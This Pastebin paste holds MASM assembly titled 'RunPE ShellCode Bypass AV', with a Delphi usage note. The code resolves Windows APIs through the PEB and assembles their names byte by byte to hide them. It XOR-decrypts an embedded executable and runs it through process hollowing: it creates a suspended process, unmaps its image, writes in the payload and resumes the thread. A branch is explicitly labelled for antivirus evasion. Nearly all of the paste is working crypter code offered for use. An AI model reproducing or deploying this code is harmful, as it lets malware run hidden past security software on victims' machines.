API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 21st, 2013
823
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.66 KB | None | 0 0
raw download clone embed print report
  1. .386
  2. .model flat,stdcall
  3.  
  4. Comment *
  5.  
  6. [ RunPE ShellCode Bypass AV ] - {Private}
  7.  
  8. [ Coded By Coldzer0 _ AT4RE ] - [Delphi - MASM Coder]
  9.  
  10. [ 2010 - 2011 ]
  11.  
  12. [Skype : coldzer01 ] - [Yahoo : web.ghost@yahoo.com ]
  13.  
  14. [ Home : www.at4re.com - www.mtcoders.com ]
  15.  
  16. {
  17. Usage : [Delphi]
  18.  
  19. Make Var with
  20.  
  21. var
  22. RunPE : procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
  23.  
  24. #### then in code call it like this #########
  25.  
  26. Begin
  27. RunPE := @ShellCode[1];
  28. RunPE(@TextFile[1],length(TextFile));
  29. end;
  30.  
  31. }
  32. *
  33.  
  34. .code
  35.  
  36. start:
  37. PUSH EBP
  38. MOV EBP,ESP
  39. ADD ESP,-0378h
  40. PUSH EBX
  41. PUSH ESI
  42. PUSH EDI
  43.  
  44. ASSUME FS:NOTHING
  45. MOV EAX,DWORD PTR FS:[30h]
  46. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  47. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  48. MOV EAX,DWORD PTR DS:[EAX]
  49. MOV EAX,DWORD PTR DS:[EAX]
  50. MOV EAX,DWORD PTR DS:[EAX+28h] ; Get Module Path
  51.  
  52. ;################# Extract Module Name [UNICODE] ####################
  53. TEST EAX,EAX
  54. AG:
  55. MOV CX,WORD PTR DS:[EAX]
  56. CMP CX,00h
  57. JE OK
  58. INC EAX
  59. INC EAX
  60. JMP AG
  61. OK:
  62. DEC EAX
  63. DEC EAX
  64. MOV CX,WORD PTR DS:[EAX]
  65. CMP CX,5Ch ; '\'
  66. JE OK2
  67. JMP OK
  68. OK2:
  69. INC EAX
  70. INC EAX
  71. ;################# Extract Module Name ####################
  72.  
  73. ;################# Check Module Name [Kernel32 [UNICODE]] ######################
  74. MOV CX,WORD PTR DS:[EAX]
  75. CMP CX,4Bh ; K
  76. JNZ AV
  77. MOV CX,WORD PTR DS:[EAX+2h]
  78. CMP ECX,45h ; e
  79. JNZ AV
  80. MOV CX,WORD PTR DS:[EAX+4h]
  81. CMP ECX,52h ; r
  82. JNZ AV
  83. MOV CX,WORD PTR DS:[EAX+6h]
  84. CMP ECX,4Eh ; n
  85. JNZ AV
  86. MOV CX,WORD PTR DS:[EAX+8h]
  87. CMP ECX,45h ; e
  88. JNZ AV
  89. MOV CX,WORD PTR DS:[EAX+0Ah]
  90. CMP ECX,4Ch ; l
  91. JNZ AV
  92. MOV CX,WORD PTR DS:[EAX+0Ch]
  93. CMP ECX,33h ; 3
  94. JNZ AV
  95. MOV CX,WORD PTR DS:[EAX+0Eh]
  96. CMP ECX,32h ; 2
  97. JNZ AV
  98. ;********* Normal Mode *******
  99. ASSUME FS:NOTHING
  100. MOV EAX,DWORD PTR FS:[30h]
  101. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  102. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  103. MOV EAX,DWORD PTR DS:[EAX]
  104. MOV EAX,DWORD PTR DS:[EAX]
  105. MOV EAX,DWORD PTR DS:[EAX+18h]
  106. JMP GO
  107. ;~~~~~~~~~~~ AV Mode ~~~~~~~~~~~
  108. AV:
  109. ASSUME FS:NOTHING
  110. MOV EAX,DWORD PTR FS:[30h]
  111. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  112. MOV EAX,DWORD PTR DS:[EAX+0Ch]
  113. MOV EAX,DWORD PTR DS:[EAX]
  114. MOV EAX,DWORD PTR DS:[EAX] ; First Module [AV]
  115. MOV EAX,DWORD PTR DS:[EAX] ; For AV [Kernel is Second Module]
  116. MOV EAX,DWORD PTR DS:[EAX+18h]
  117. ;################# Check Module Name ######################
  118. GO:
  119. MOV DWORD PTR SS:[EBP-4h],EAX ; Save Kernel Base
  120. MOV BYTE PTR SS:[EBP-28h],47h
  121. MOV BYTE PTR SS:[EBP-27h],50h
  122. MOV BYTE PTR SS:[EBP-26h],41h
  123. XOR EAX,EAX
  124. MOV DWORD PTR SS:[EBP-14h],EAX
  125. MOV EAX,DWORD PTR SS:[EBP-4h]
  126. MOV EAX,DWORD PTR DS:[EAX+3Ch]
  127. ADD EAX,DWORD PTR SS:[EBP-4h]
  128. MOV EDX,DWORD PTR DS:[EAX+78h]
  129. MOV DWORD PTR SS:[EBP-44h],EDX
  130. MOV EDX,DWORD PTR DS:[EAX+7Ch]
  131. MOV DWORD PTR SS:[EBP-40h],EDX
  132. MOV EAX,DWORD PTR SS:[EBP-4h]
  133. ADD EAX,DWORD PTR SS:[EBP-44h]
  134. MOV ESI,DWORD PTR DS:[EAX+18h]
  135. DEC ESI
  136. TEST ESI,ESI
  137. JB LoadAPI
  138. INC ESI
  139. XOR EDX,EDX
  140. LoopAPI:
  141. MOV ECX,DWORD PTR DS:[EAX+20h]
  142. ADD ECX,DWORD PTR SS:[EBP-4h]
  143. MOV EBX,EDX
  144. SHL EBX,2h
  145. ADD ECX,EBX
  146. MOV EDI,DWORD PTR DS:[ECX+0Ch]
  147. ADD EDI,DWORD PTR SS:[EBP-4h]
  148. MOV BL,BYTE PTR DS:[EDI]
  149. CMP BL,BYTE PTR SS:[EBP-28h]
  150. JNZ CheckAPI
  151. MOV BL,BYTE PTR DS:[EDI+3h]
  152. CMP BL,BYTE PTR SS:[EBP-27h]
  153. JNZ CheckAPI
  154. MOV CL,BYTE PTR DS:[EDI+7h]
  155. CMP CL,BYTE PTR SS:[EBP-26h]
  156. JNZ CheckAPI
  157. MOV ECX,DWORD PTR DS:[EAX+24h]
  158. ADD ECX,DWORD PTR SS:[EBP-4h]
  159. MOV EBX,EDX
  160. ADD EBX,EBX
  161. ADD ECX,EBX
  162. MOV CX,WORD PTR DS:[ECX]
  163. ADD CX,3h
  164. MOV EAX,DWORD PTR DS:[EAX+1Ch]
  165. ADD EAX,DWORD PTR SS:[EBP-4h]
  166. MOVZX ECX,CX
  167. SHL ECX,2h
  168. ADD EAX,ECX
  169. MOV ESI,DWORD PTR DS:[EAX]
  170. ADD ESI,DWORD PTR SS:[EBP-4h]
  171. MOV DWORD PTR SS:[EBP-14h],ESI
  172. JMP LoadAPI
  173. CheckAPI:
  174. INC EDX
  175. DEC ESI
  176. JNZ LoopAPI
  177. LoadAPI: ; [ Write API To An Pointer - use later ]
  178. MOV BYTE PTR SS:[EBP-69h],47h
  179. MOV BYTE PTR SS:[EBP-68h],65h
  180. MOV BYTE PTR SS:[EBP-67h],74h
  181. MOV BYTE PTR SS:[EBP-66h],4Dh
  182. MOV BYTE PTR SS:[EBP-65h],6Fh
  183. MOV BYTE PTR SS:[EBP-64h],64h
  184. MOV BYTE PTR SS:[EBP-63h],75h
  185. MOV BYTE PTR SS:[EBP-62h],6Ch
  186. MOV BYTE PTR SS:[EBP-61h],65h
  187. MOV BYTE PTR SS:[EBP-60h],48h
  188. MOV BYTE PTR SS:[EBP-5Fh],61h
  189. MOV BYTE PTR SS:[EBP-5Eh],6Eh
  190. MOV BYTE PTR SS:[EBP-5Dh],64h
  191. MOV BYTE PTR SS:[EBP-5Ch],6Ch
  192. MOV BYTE PTR SS:[EBP-5Bh],65h
  193. MOV BYTE PTR SS:[EBP-5Ah],41h
  194. MOV BYTE PTR SS:[EBP-59h],0h
  195. MOV BYTE PTR SS:[EBP-7Ch],47h
  196. MOV BYTE PTR SS:[EBP-7Bh],65h
  197. MOV BYTE PTR SS:[EBP-7Ah],74h
  198. MOV BYTE PTR SS:[EBP-79h],4Dh
  199. MOV BYTE PTR SS:[EBP-78h],6Fh
  200. MOV BYTE PTR SS:[EBP-77h],64h
  201. MOV BYTE PTR SS:[EBP-76h],75h
  202. MOV BYTE PTR SS:[EBP-75h],6Ch
  203. MOV BYTE PTR SS:[EBP-74h],65h
  204. MOV BYTE PTR SS:[EBP-73h],46h
  205. MOV BYTE PTR SS:[EBP-72h],69h
  206. MOV BYTE PTR SS:[EBP-71h],6Ch
  207. MOV BYTE PTR SS:[EBP-70h],65h
  208. MOV BYTE PTR SS:[EBP-6Fh],4Eh
  209. MOV BYTE PTR SS:[EBP-6Eh],61h
  210. MOV BYTE PTR SS:[EBP-6Dh],6Dh
  211. MOV BYTE PTR SS:[EBP-6Ch],65h
  212. MOV BYTE PTR SS:[EBP-6Bh],41h
  213. MOV BYTE PTR SS:[EBP-6Ah],0h
  214. MOV BYTE PTR SS:[EBP-91h],5Ah
  215. MOV BYTE PTR SS:[EBP-90h],77h
  216. MOV BYTE PTR SS:[EBP-8Fh],55h
  217. MOV BYTE PTR SS:[EBP-8Eh],6Eh
  218. MOV BYTE PTR SS:[EBP-8Dh],6Dh
  219. MOV BYTE PTR SS:[EBP-8Ch],61h
  220. MOV BYTE PTR SS:[EBP-8Bh],70h
  221. MOV BYTE PTR SS:[EBP-8Ah],56h
  222. MOV BYTE PTR SS:[EBP-89h],69h
  223. MOV BYTE PTR SS:[EBP-88h],65h
  224. MOV BYTE PTR SS:[EBP-87h],77h
  225. MOV BYTE PTR SS:[EBP-86h],4Fh
  226. MOV BYTE PTR SS:[EBP-85h],66h
  227. MOV BYTE PTR SS:[EBP-84h],53h
  228. MOV BYTE PTR SS:[EBP-83h],65h
  229. MOV BYTE PTR SS:[EBP-82h],63h
  230. MOV BYTE PTR SS:[EBP-81h],74h
  231. MOV BYTE PTR SS:[EBP-80h],69h
  232. MOV BYTE PTR SS:[EBP-7Fh],6Fh
  233. MOV BYTE PTR SS:[EBP-7Eh],6Eh
  234. MOV BYTE PTR SS:[EBP-7Dh],0h
  235. MOV BYTE PTR SS:[EBP-0A0h],56h
  236. MOV BYTE PTR SS:[EBP-9Fh],69h
  237. MOV BYTE PTR SS:[EBP-9Eh],72h
  238. MOV BYTE PTR SS:[EBP-9Dh],74h
  239. MOV BYTE PTR SS:[EBP-9Ch],75h
  240. MOV BYTE PTR SS:[EBP-9Bh],61h
  241. MOV BYTE PTR SS:[EBP-9Ah],6Ch
  242. MOV BYTE PTR SS:[EBP-99h],41h
  243. MOV BYTE PTR SS:[EBP-98h],6Ch
  244. MOV BYTE PTR SS:[EBP-97h],6Ch
  245. MOV BYTE PTR SS:[EBP-96h],6Fh
  246. MOV BYTE PTR SS:[EBP-95h],63h
  247. MOV BYTE PTR SS:[EBP-94h],45h
  248. MOV BYTE PTR SS:[EBP-93h],78h
  249. MOV BYTE PTR SS:[EBP-92h],0h
  250. MOV BYTE PTR SS:[EBP-0B1h],56h
  251. MOV BYTE PTR SS:[EBP-0B0h],69h
  252. MOV BYTE PTR SS:[EBP-0AFh],72h
  253. MOV BYTE PTR SS:[EBP-0AEh],74h
  254. MOV BYTE PTR SS:[EBP-0ADh],75h
  255. MOV BYTE PTR SS:[EBP-0ACh],61h
  256. MOV BYTE PTR SS:[EBP-0ABh],6Ch
  257. MOV BYTE PTR SS:[EBP-0AAh],50h
  258. MOV BYTE PTR SS:[EBP-0A9h],72h
  259. MOV BYTE PTR SS:[EBP-0A8h],6Fh
  260. MOV BYTE PTR SS:[EBP-0A7h],74h
  261. MOV BYTE PTR SS:[EBP-0A6h],65h
  262. MOV BYTE PTR SS:[EBP-0A5h],63h
  263. MOV BYTE PTR SS:[EBP-0A4h],74h
  264. MOV BYTE PTR SS:[EBP-0A3h],45h
  265. MOV BYTE PTR SS:[EBP-0A2h],78h
  266. MOV BYTE PTR SS:[EBP-0A1h],0h
  267. MOV BYTE PTR SS:[EBP-0C3h],52h
  268. MOV BYTE PTR SS:[EBP-0C2h],65h
  269. MOV BYTE PTR SS:[EBP-0C1h],61h
  270. MOV BYTE PTR SS:[EBP-0C0h],64h
  271. MOV BYTE PTR SS:[EBP-0BFh],50h
  272. MOV BYTE PTR SS:[EBP-0BEh],72h
  273. MOV BYTE PTR SS:[EBP-0BDh],6Fh
  274. MOV BYTE PTR SS:[EBP-0BCh],63h
  275. MOV BYTE PTR SS:[EBP-0BBh],65h
  276. MOV BYTE PTR SS:[EBP-0BAh],73h
  277. MOV BYTE PTR SS:[EBP-0B9h],73h
  278. MOV BYTE PTR SS:[EBP-0B8h],4Dh
  279. MOV BYTE PTR SS:[EBP-0B7h],65h
  280. MOV BYTE PTR SS:[EBP-0B6h],6Dh
  281. MOV BYTE PTR SS:[EBP-0B5h],6Fh
  282. MOV BYTE PTR SS:[EBP-0B4h],72h
  283. MOV BYTE PTR SS:[EBP-0B3h],79h
  284. MOV BYTE PTR SS:[EBP-0B2h],0h
  285. MOV BYTE PTR SS:[EBP-0D6h],57h
  286. MOV BYTE PTR SS:[EBP-0D5h],72h
  287. MOV BYTE PTR SS:[EBP-0D4h],69h
  288. MOV BYTE PTR SS:[EBP-0D3h],74h
  289. MOV BYTE PTR SS:[EBP-0D2h],65h
  290. MOV BYTE PTR SS:[EBP-0D1h],50h
  291. MOV BYTE PTR SS:[EBP-0D0h],72h
  292. MOV BYTE PTR SS:[EBP-0CFh],6Fh
  293. MOV BYTE PTR SS:[EBP-0CEh],63h
  294. MOV BYTE PTR SS:[EBP-0CDh],65h
  295. MOV BYTE PTR SS:[EBP-0CCh],73h
  296. MOV BYTE PTR SS:[EBP-0CBh],73h
  297. MOV BYTE PTR SS:[EBP-0CAh],4Dh
  298. MOV BYTE PTR SS:[EBP-0C9h],65h
  299. MOV BYTE PTR SS:[EBP-0C8h],6Dh
  300. MOV BYTE PTR SS:[EBP-0C7h],6Fh
  301. MOV BYTE PTR SS:[EBP-0C6h],72h
  302. MOV BYTE PTR SS:[EBP-0C5h],79h
  303. MOV BYTE PTR SS:[EBP-0C4h],0h
  304. MOV BYTE PTR SS:[EBP-0E7h],47h
  305. MOV BYTE PTR SS:[EBP-0E6h],65h
  306. MOV BYTE PTR SS:[EBP-0E5h],74h
  307. MOV BYTE PTR SS:[EBP-0E4h],54h
  308. MOV BYTE PTR SS:[EBP-0E3h],68h
  309. MOV BYTE PTR SS:[EBP-0E2h],72h
  310. MOV BYTE PTR SS:[EBP-0E1h],65h
  311. MOV BYTE PTR SS:[EBP-0E0h],61h
  312. MOV BYTE PTR SS:[EBP-0DFh],64h
  313. MOV BYTE PTR SS:[EBP-0DEh],43h
  314. MOV BYTE PTR SS:[EBP-0DDh],6Fh
  315. MOV BYTE PTR SS:[EBP-0DCh],6Eh
  316. MOV BYTE PTR SS:[EBP-0DBh],74h
  317. MOV BYTE PTR SS:[EBP-0DAh],65h
  318. MOV BYTE PTR SS:[EBP-0D9h],78h
  319. MOV BYTE PTR SS:[EBP-0D8h],74h
  320. MOV BYTE PTR SS:[EBP-0D7h],0h
  321. MOV BYTE PTR SS:[EBP-0F8h],53h
  322. MOV BYTE PTR SS:[EBP-0F7h],65h
  323. MOV BYTE PTR SS:[EBP-0F6h],74h
  324. MOV BYTE PTR SS:[EBP-0F5h],54h
  325. MOV BYTE PTR SS:[EBP-0F4h],68h
  326. MOV BYTE PTR SS:[EBP-0F3h],72h
  327. MOV BYTE PTR SS:[EBP-0F2h],65h
  328. MOV BYTE PTR SS:[EBP-0F1h],61h
  329. MOV BYTE PTR SS:[EBP-0F0h],64h
  330. MOV BYTE PTR SS:[EBP-0EFh],43h
  331. MOV BYTE PTR SS:[EBP-0EEh],6Fh
  332. MOV BYTE PTR SS:[EBP-0EDh],6Eh
  333. MOV BYTE PTR SS:[EBP-0ECh],74h
  334. MOV BYTE PTR SS:[EBP-0EBh],65h
  335. MOV BYTE PTR SS:[EBP-0EAh],78h
  336. MOV BYTE PTR SS:[EBP-0E9h],74h
  337. MOV BYTE PTR SS:[EBP-0E8h],0h
  338. MOV BYTE PTR SS:[EBP-0105h],52h
  339. MOV BYTE PTR SS:[EBP-0104h],65h
  340. MOV BYTE PTR SS:[EBP-0103h],73h
  341. MOV BYTE PTR SS:[EBP-0102h],75h
  342. MOV BYTE PTR SS:[EBP-0101h],6Dh
  343. MOV BYTE PTR SS:[EBP-0100h],65h
  344. MOV BYTE PTR SS:[EBP-0FFh],54h
  345. MOV BYTE PTR SS:[EBP-0FEh],68h
  346. MOV BYTE PTR SS:[EBP-0FDh],72h
  347. MOV BYTE PTR SS:[EBP-0FCh],65h
  348. MOV BYTE PTR SS:[EBP-0FBh],61h
  349. MOV BYTE PTR SS:[EBP-0FAh],64h
  350. MOV BYTE PTR SS:[EBP-0F9h],0h
  351. MOV BYTE PTR SS:[EBP-01Eh],6Eh
  352. MOV BYTE PTR SS:[EBP-01Dh],74h
  353. MOV BYTE PTR SS:[EBP-01Ch],64h
  354. MOV BYTE PTR SS:[EBP-01Bh],6Ch
  355. MOV BYTE PTR SS:[EBP-01Ah],6Ch
  356. MOV BYTE PTR SS:[EBP-019h],0h
  357. MOV BYTE PTR SS:[EBP-0114h],43h
  358. MOV BYTE PTR SS:[EBP-0113h],72h
  359. MOV BYTE PTR SS:[EBP-0112h],65h
  360. MOV BYTE PTR SS:[EBP-0111h],61h
  361. MOV BYTE PTR SS:[EBP-0110h],74h
  362. MOV BYTE PTR SS:[EBP-010Fh],65h
  363. MOV BYTE PTR SS:[EBP-010Eh],50h
  364. MOV BYTE PTR SS:[EBP-010Dh],72h
  365. MOV BYTE PTR SS:[EBP-010Ch],6Fh
  366. MOV BYTE PTR SS:[EBP-010Bh],63h
  367. MOV BYTE PTR SS:[EBP-010Ah],65h
  368. MOV BYTE PTR SS:[EBP-109h],73h
  369. MOV BYTE PTR SS:[EBP-108h],73h
  370. MOV BYTE PTR SS:[EBP-107h],41h
  371. MOV BYTE PTR SS:[EBP-0106h],0h
  372. MOV BYTE PTR SS:[EBP-121h],4Ch
  373. MOV BYTE PTR SS:[EBP-120h],6Fh
  374. MOV BYTE PTR SS:[EBP-11Fh],61h
  375. MOV BYTE PTR SS:[EBP-11Eh],64h
  376. MOV BYTE PTR SS:[EBP-11Dh],4Ch
  377. MOV BYTE PTR SS:[EBP-11Ch],69h
  378. MOV BYTE PTR SS:[EBP-11Bh],62h
  379. MOV BYTE PTR SS:[EBP-11Ah],72h
  380. MOV BYTE PTR SS:[EBP-119h],61h
  381. MOV BYTE PTR SS:[EBP-118h],72h
  382. MOV BYTE PTR SS:[EBP-117h],79h
  383. MOV BYTE PTR SS:[EBP-116h],41h
  384. MOV BYTE PTR SS:[EBP-115h],0h
  385. LEA EAX,DWORD PTR SS:[EBP-121h]
  386. PUSH EAX
  387. MOV EAX,DWORD PTR SS:[EBP-4h]
  388. PUSH EAX
  389. CALL DWORD PTR SS:[EBP-14h]
  390. MOV DWORD PTR SS:[EBP-18h],EAX
  391. MOV ESI,DWORD PTR SS:[EBP+0Ch]
  392. DEC ESI
  393. TEST ESI,ESI
  394. JL CheckLen
  395. INC ESI
  396. XOR EBX,EBX
  397. DeCryptPE:
  398. MOV EAX,DWORD PTR SS:[EBP+8h]
  399. MOV AL,BYTE PTR DS:[EAX+EBX]
  400. XOR AL,2Ah ; XOR Key 1 [ You Can Change It But Should Crypt the File with the New Keys ]
  401. XOR AL,87h ; XOR Key 2
  402. MOV EDX,DWORD PTR SS:[EBP+8h]
  403. MOV BYTE PTR DS:[EDX+EBX],AL
  404. INC EBX
  405. DEC ESI
  406. JNZ DeCryptPE
  407. CheckLen:
  408. MOV EAX,DWORD PTR SS:[EBP+8h]
  409. MOV DWORD PTR SS:[EBP-54h],EAX
  410. LEA EAX,DWORD PTR SS:[EBP-69h]
  411. PUSH EAX
  412. MOV EAX,DWORD PTR SS:[EBP-4h]
  413. PUSH EAX
  414. CALL DWORD PTR SS:[EBP-14h]
  415. MOV EBX,EAX
  416. LEA EAX,DWORD PTR SS:[EBP-7Ch]
  417. PUSH EAX
  418. MOV EAX,DWORD PTR SS:[EBP-4h]
  419. PUSH EAX
  420. CALL DWORD PTR SS:[EBP-14h]
  421. MOV ESI,EAX
  422. PUSH 105
  423. LEA EAX,DWORD PTR SS:[EBP-375h]
  424. PUSH EAX
  425. PUSH 0h
  426. CALL EBX
  427. PUSH EAX
  428. CALL ESI
  429. LEA EAX,DWORD PTR SS:[EBP-184h]
  430. MOV EBX,43h
  431. GetS4C:
  432. MOV BYTE PTR DS:[EAX+EBX],0h
  433. DEC EBX
  434. CMP EBX,-1h
  435. JNZ GetS4C
  436. MOV DWORD PTR SS:[EBP-184h],44h
  437. LEA EAX,DWORD PTR SS:[EBP-114h]
  438. PUSH EAX
  439. MOV EAX,DWORD PTR SS:[EBP-4h]
  440. PUSH EAX
  441. CALL DWORD PTR SS:[EBP-14h]
  442. MOV EBX,EAX
  443. LEA EAX,DWORD PTR SS:[EBP-140h]
  444. PUSH EAX
  445. LEA EAX,DWORD PTR SS:[EBP-184h]
  446. PUSH EAX
  447. PUSH 0h
  448. PUSH 0h
  449. PUSH 4h
  450. PUSH 0h
  451. PUSH 0h
  452. PUSH 0h
  453. LEA EAX,DWORD PTR SS:[EBP-375h]
  454. PUSH EAX
  455. PUSH 0
  456. CALL EBX
  457. LEA EAX,DWORD PTR SS:[EBP-0E7h]
  458. PUSH EAX
  459. MOV EAX,DWORD PTR SS:[EBP-4h]
  460. PUSH EAX
  461. CALL DWORD PTR SS:[EBP-14h]
  462. MOV EBX,EAX
  463. MOV DWORD PTR SS:[EBP-250h],10007h
  464. LEA EAX,DWORD PTR SS:[EBP-250h]
  465. PUSH EAX
  466. MOV EAX,DWORD PTR SS:[EBP-13Ch]
  467. PUSH EAX
  468. CALL EBX
  469. LEA EAX,DWORD PTR SS:[EBP-0C3h]
  470. PUSH EAX
  471. MOV EAX,DWORD PTR SS:[EBP-4h]
  472. PUSH EAX
  473. CALL DWORD PTR SS:[EBP-14h]
  474. MOV EBX,EAX
  475. LEA EAX,DWORD PTR SS:[EBP-30h]
  476. PUSH EAX
  477. PUSH 4h
  478. LEA EAX,DWORD PTR SS:[EBP-38h]
  479. PUSH EAX
  480. MOV EAX,DWORD PTR SS:[EBP-1ACh]
  481. ADD EAX,8h
  482. PUSH EAX
  483. MOV EAX,DWORD PTR SS:[EBP-140h]
  484. PUSH EAX
  485. CALL EBX
  486. LEA EAX,DWORD PTR SS:[EBP-91h]
  487. PUSH EAX
  488. LEA EAX,DWORD PTR SS:[EBP-1Eh]
  489. PUSH EAX
  490. CALL DWORD PTR SS:[EBP-18h]
  491. PUSH EAX
  492. CALL DWORD PTR SS:[EBP-14h]
  493. MOV EBX,EAX
  494. MOV EAX,DWORD PTR SS:[EBP-38h]
  495. PUSH EAX
  496. MOV EAX,DWORD PTR SS:[EBP-140h]
  497. PUSH EAX
  498. CALL EBX
  499. MOV EAX,DWORD PTR SS:[EBP-54h]
  500. MOV EAX,DWORD PTR DS:[EAX+3Ch]
  501. ADD EAX,DWORD PTR SS:[EBP-54h]
  502. MOV DWORD PTR SS:[EBP-2Ch],EAX
  503. LEA EAX,DWORD PTR SS:[EBP-0A0h]
  504. PUSH EAX
  505. MOV EAX,DWORD PTR SS:[EBP-4h]
  506. PUSH EAX
  507. CALL DWORD PTR SS:[EBP-14h]
  508. MOV EBX,EAX
  509. PUSH 40h
  510. PUSH 3000h
  511. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  512. MOV EAX,DWORD PTR DS:[EAX+50h]
  513. PUSH EAX
  514. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  515. MOV EAX,DWORD PTR DS:[EAX+34h]
  516. PUSH EAX
  517. MOV EAX,DWORD PTR SS:[EBP-140h]
  518. PUSH EAX
  519. CALL EBX
  520. MOV DWORD PTR SS:[EBP-38h],EAX
  521. LEA EAX,DWORD PTR SS:[EBP-0D6h]
  522. PUSH EAX
  523. MOV EAX,DWORD PTR SS:[EBP-4h]
  524. PUSH EAX
  525. CALL DWORD PTR SS:[EBP-14h]
  526. MOV DWORD PTR SS:[EBP-0Ch],EAX
  527. LEA EAX,DWORD PTR SS:[EBP-34h]
  528. PUSH EAX
  529. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  530. MOV EAX,DWORD PTR DS:[EAX+54h]
  531. PUSH EAX
  532. MOV EAX,DWORD PTR SS:[EBP-54h]
  533. PUSH EAX
  534. MOV EAX,DWORD PTR SS:[EBP-38h]
  535. PUSH EAX
  536. MOV EAX,DWORD PTR SS:[EBP-140h]
  537. PUSH EAX
  538. CALL DWORD PTR SS:[EBP-0Ch]
  539. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  540. LEA EDI,DWORD PTR DS:[EAX+18h]
  541. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  542. MOVZX EAX,WORD PTR DS:[EAX+14h]
  543. ADD EDI,EAX
  544. LEA EAX,DWORD PTR SS:[EBP-0B1h]
  545. PUSH EAX
  546. MOV EAX,DWORD PTR SS:[EBP-4h]
  547. PUSH EAX
  548. CALL DWORD PTR SS:[EBP-14h]
  549. MOV DWORD PTR SS:[EBP-8h],EAX
  550. MOV DWORD PTR SS:[EBP-270h],1h
  551. MOV DWORD PTR SS:[EBP-26Ch],10h
  552. MOV DWORD PTR SS:[EBP-268h],2h
  553. MOV DWORD PTR SS:[EBP-264h],20h
  554. MOV DWORD PTR SS:[EBP-260h],4h
  555. MOV DWORD PTR SS:[EBP-25Ch],40h
  556. MOV DWORD PTR SS:[EBP-258h],4h
  557. MOV DWORD PTR SS:[EBP-254h],40h
  558. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  559. MOVZX ESI,WORD PTR DS:[EAX+6h]
  560. DEC ESI
  561. TEST ESI,ESI
  562. JL CheckReadP
  563. INC ESI
  564. XOR EBX,EBX
  565. ReadRPLoop:
  566. LEA EAX,DWORD PTR SS:[EBP-34h]
  567. PUSH EAX
  568. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  569. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+10h]
  570. PUSH EAX
  571. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  572. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+14h]
  573. ADD EAX,DWORD PTR SS:[EBP-54h]
  574. PUSH EAX
  575. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  576. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+0Ch]
  577. ADD EAX,DWORD PTR SS:[EBP-38h]
  578. PUSH EAX
  579. MOV EAX,DWORD PTR SS:[EBP-140h]
  580. PUSH EAX
  581. CALL DWORD PTR SS:[EBP-0Ch]
  582. LEA EAX,DWORD PTR SS:[EBP-3Ch]
  583. PUSH EAX
  584. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  585. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+24h]
  586. SHR EAX,1Dh
  587. MOV EAX,DWORD PTR SS:[EBP+EAX*4h-270h]
  588. PUSH EAX
  589. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  590. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+8h]
  591. PUSH EAX
  592. LEA EAX,DWORD PTR DS:[EBX+EBX*4h]
  593. MOV EAX,DWORD PTR DS:[EDI+EAX*8h+0Ch]
  594. ADD EAX,DWORD PTR SS:[EBP-38h]
  595. PUSH EAX
  596. MOV EAX,DWORD PTR SS:[EBP-140h]
  597. PUSH EAX
  598. CALL DWORD PTR SS:[EBP-8h]
  599. INC EBX
  600. DEC ESI
  601. JNZ ReadRPLoop
  602. CheckReadP:
  603. LEA EAX,DWORD PTR SS:[EBP-34h]
  604. PUSH EAX
  605. PUSH 4h
  606. LEA EAX,DWORD PTR SS:[EBP-38h]
  607. PUSH EAX
  608. MOV EAX,DWORD PTR SS:[EBP-1ACh]
  609. ADD EAX,8h
  610. PUSH EAX
  611. MOV EAX,DWORD PTR SS:[EBP-140h]
  612. PUSH EAX
  613. CALL DWORD PTR SS:[EBP-0Ch]
  614. MOV EAX,DWORD PTR SS:[EBP-2Ch]
  615. MOV EAX,DWORD PTR DS:[EAX+28h]
  616. ADD EAX,DWORD PTR SS:[EBP-38h]
  617. MOV DWORD PTR SS:[EBP-1A0h],EAX
  618. LEA EAX,DWORD PTR SS:[EBP-0F8h]
  619. PUSH EAX
  620. MOV EAX,DWORD PTR SS:[EBP-4h]
  621. PUSH EAX
  622. CALL DWORD PTR SS:[EBP-14h]
  623. MOV EBX,EAX
  624. LEA EAX,DWORD PTR SS:[EBP-250h]
  625. PUSH EAX
  626. MOV EAX,DWORD PTR SS:[EBP-13Ch]
  627. PUSH EAX
  628. CALL EBX
  629. LEA EAX,DWORD PTR SS:[EBP-105h]
  630. PUSH EAX
  631. MOV EAX,DWORD PTR SS:[EBP-4h]
  632. PUSH EAX
  633. CALL DWORD PTR SS:[EBP-14h]
  634. MOV EBX,EAX
  635. MOV EAX,DWORD PTR SS:[EBP-13Ch]
  636. PUSH EAX
  637. CALL EBX
  638. POP EDI
  639. POP ESI
  640. POP EBX
  641. MOV ESP,EBP
  642. POP EBP
  643. RETN 8h
  644. end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!